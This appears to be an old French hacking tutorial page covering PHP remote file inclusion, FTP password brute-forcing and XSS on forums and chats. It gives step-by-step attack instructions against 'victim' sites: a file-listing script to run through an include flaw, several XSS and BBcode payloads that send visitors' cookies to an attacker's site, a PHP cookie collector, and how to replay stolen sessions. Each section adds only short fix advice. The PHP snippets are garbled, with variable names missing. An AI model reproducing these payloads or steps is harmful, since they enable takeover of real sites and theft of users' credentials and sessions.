|
|
Faille d'include
Si tu pouvais utiliser du PHP librement sur un site, tu pourrais le hacker et en faire ce que tu veux. Et pour certains sites, c'est possible ! Si tu vois que l'adresse d'une page d'un site est du genre http://www.site.com/page.php?page=news.php par exemple (ou http://www.site.com/?url=news.php ...etc), ça signifie que la page index inclu la page news.php pour l'afficher. Certain webmasters ont oublié de protégé cet include, ce qui fait que tu peux inclure n'importe quelle page !
Pour en être sûr, essai ça : http://www.site.com/page.php?page=http://www.google.com (ne pas oublier le http://) Si la page d'accueil de google s'affiche dans le site, c'est que tu as réussi !
Maintenant, tu peux modifier les fichiers, en créer, récupérer des mots de passe du site en question !
Pour afficher tous les noms de fichiers du site (très utile pour savoir où se trouve l'admin...etc), créé un fichier avec le code php sur ton compte (voir tutoriaux php) :
|
function scann(){ =opendir(); while(=readdir()){ if(is_dir("/") && !="." && !=".."){ scann("/"); }else{ echo "/ "; } } } scann(".");
|
une fois ce script sur ton compte (http://www.toncompte.com/hack.txt), tu peux le faire exécuter par le serveur victime comme ceci : http://www.site.com/page.php?page=http://www.toncompte.com/hack.txt /!\ Ton fichier ne doit pas être en *.php, comme le disent la plupart des sites, sinon il sera exécuté sur ton serveur avant d'être affiché par le serveur victime, ce qui reviendrait à pirater ton site ! Et voilà ! Les noms de tous les fichiers du site www.site.com son affichés sur ton écran !
Maintenant que tu connais toutes les pages, les .htaccess et les .htpasswd, tu peux les voir, les effacer et les modifier de la même façon (voir les tutoriaux PHP).
Pour réparer la faille Pour réparer la faille, il suffit de vérifier le nom de la page avant de l'include Exemple de protection :
|
=Array("news.php","forum.php","livredor.php"); // Noms des pages autorisées à être incluses // Si le nom de la page demandée fait partie de la liste des pages autorisées, on l'inclu : if(in_array(,)) include ;
|
Alors si tu repères des failles de ce type, sois sympa et préviens le webmaster  |
|
|
|
 |
 |
 |
 |
 |
 |
 |
 |
|
|
|
 |
 |
 |
 |
 |
Tout webmaster connait le FTP, qui signifie File Transfert Protocole. Ce protocole utilise les ports 20 et 21 et sert à transférer des fichiers sur le web.
Beaucoup de sites de hack expliquent une technique très simple pour hacker un serveur FTP (par msdos : open www.sitevictime.com;quote user ftp;quote cwd ~root;quote pass ftp) mais qui ne marche plus depuis au moins 5 ans !
Voici 2 moyens pour hacker un site FTP : - La plus facile, mais la plus longue : Le Brute Force FTP (à télécharger dans la rubrique Goodies). Cette technique (si on peux appeler ça un technique) consiste à essayer tous les mots de passe possible. Si le mot de passe est "aa", ça mettras moins d'une minute, mais parfois, ça peux mettre plusieurs millier d'année ! alors...... patience ! (lol)
- La plus dur : Brute Force par dictionnaire. C'est un brute qui, au lieu d'essayer tous les mots de passes possibles, essai tous les mots de passe d'une liste de mots de passe (appelée dictionnaire). Un bon moyen pourtrouver le bon mot de passe : aller sur le site, et mettre dans le dictionnaire toutes les infos interessantes que tu pourras trouver, comme le prénom de l'admin, son adresse email...etc
Pour s'en protéger : Pour les webmaster, il n'y a rien à craindre si le mot de passe FTP est assez compliqué (6 lettres minimum). Petit calcul : si le mot de passe est composé uniquement de 8 lettres en minuscules, il y a donc 268 possibilités, c'est à dire 208 827 064 576 possibilités de mots de passe. En comptant 10 essais par seconde (la connection FTP est assez lente, et sans prendre compte des bannissements d'IP), le hacker devra donc attendre 662 ans si le mot de passe est zzzzzzzz 
|
|
|
 |
 |
 |
 |
 |
 |
 |
 |
|
|
|
 |
 |
 |
 |
 |
 |
Les failles XSS |
 |
|
Les failles XSS C'est quand dans un chat ou un forum par exemple, tu peux intégrer de l'html dans ton message.
Si tu peux intégrer de l'html dans ton message, alors tu peux par exemple modifier le site dans lequel tu posts en ajoutant des tableaux par exemple, tu peux même intégrer du javascript et par la même occasion, récupérer les mot de passe des membres et des admins en récupérant les cookies des visiteurs.
Trouver une faille XSS C'est simple, dans un forum ou un chat, essai d'envoyer un message du genre Salut tout le monde !, si "Salut" est en gras, alors tu as trouver la faille que tu peux exploiter : (si ça ne marche pas, vas voir plus bas dans la page) Déjà, tu peux t'amuser à mettre de l'html partout (gros titres, tableaux...)
Utiliser la faille Pour cela, il te faut créer un fichier recup.php sur ton site internet (si tu n'en as pas, tu peux t'en créer un gratuitement sur http://free.fr ou http://www.multimania.fr) Ton fichier recup.php sur ton site www.tonsite.fr (pour enregistrer les cookies récupérés) :
|
if($cookie){ =fopen("cookies.txt","a"); // On ouvre le fichier cookis.txt fputs(,"$cookie "); // On écrit le contenu du cookie dans le fichier fclose(); }
<script> opener=self; self.close(); // ferme la fenètre script> |
Ce fichier créé, tu peux envoyer ton message : Salut ! <script>window.open("http://www.tonsite.fr/recup.php?cookie="+document.cookie);script>. Tous les visiteur qui verront ce message enverront ainsi leurs cookies (seulement les cookies du site victime) à la page recup.php de ton site qui les enregistrera dans le fichier cookies.txt (du site www.tonsite.fr). /!\ Dans certains sites, les mots de passe dans les cookies sont cryptés, tu auras donc peut-être du mal à les lire.
Si le coup de l'html ne marche pas, regarde si tu peux utiliser le BBcode. Si c'est le cas, tu as peut-être un chance ! J'explique : dans la plupart des forums, le BBcode (une sorte d'html plus restreint) permet de mettre des effets sur le texte (ex : [b]salut[/b] pour mettre en gras, [img]image.jpg[/img] pour mettre un image).
Dans certains forums, il y a une faille dans le BBcode que tu peux exploiter comme ça (en reprennant le fichier recup.php utilisé ci-dessus) : [img]image-qui-n-existe-pas.jpg"onerror="window.open('http://www.tonsite.fr/recup.php?cookie='+document.cookie)[/img] Ca marche (théoriquement) avec les forums phpBB 2.0.0 et phpBB 2.0.3
Si ça ne marche pas, essai ça : [img]javascript:window.open('http://www.tonsite.fr/recup.php?cookie='+document.cookie)[/img]
Et si ça ne marche toujours pas (décidemment t'as pas de bol !), regarde s'il y a une case pour mettre ton adresse email ou url (pour faire un lien sur ton pseudo. c'est souvent le cas dans les livres d'or et les chatbox). Alors tu as peut-être une chance de mettre un code javascript qui s'activera quand on passe la souris sur ton pseudo en mettant ceci dans la case du mail : "onmouseover="window.open('http://www.tonsite.fr/recup.php?cookie='+document.cookie) Ce qui affichera : http://www.tonsite.fr/recup.php?cookie='+document.cookie)">Ton pseudo
Utiliser les cookies récupérés Une fois que tu as récupéré un cookie, il faut l'utliser. S'il ressemble à ça : login=Machin;password=banane, c'est facile, tu as tout de suite compris que le login est "Machin" et le mot de passe "banane". Il te suffit donc de te connecter au site vicitime avec ces identifiants. (Bien sûr, tu n'auras accès à l'admin que si tu as chopé le cookie d'un admin).
Mais si le cookie est crypté, tu peux peut-être quand même l'utiliser ! S'il ressemble à ça par exemple : sessid=ze541dfgfd5g4dfgdg1df2gffdgdf5g4dfg;login=sdf4564sdfdf2 Et bien il te suffit de reconstituer ce cookie sur ton ordi ! Voici comment faire : ouvre Internet Explorer, et tape dans la barre d'adresse javascript:document.cookie="sessid=ze541dfgfd5g4dfgdg1df2gffdgdf5g4dfg;login=sdf4564sdfdf2" puis appuie sur la touche [enter] Et voilà ! il te suffit d'aller sur le site victime, et tu seras automatiquement connecté !
Comment réparer la faille : Pour réparer la faille, il faut filtrer les message : ajouter des antislash devant les " et ' (avec la fonction addslashes() de PHP), et interdire les "javascript:" (par exemple : =str_replace("javascript:","",)). |
|
|
|
|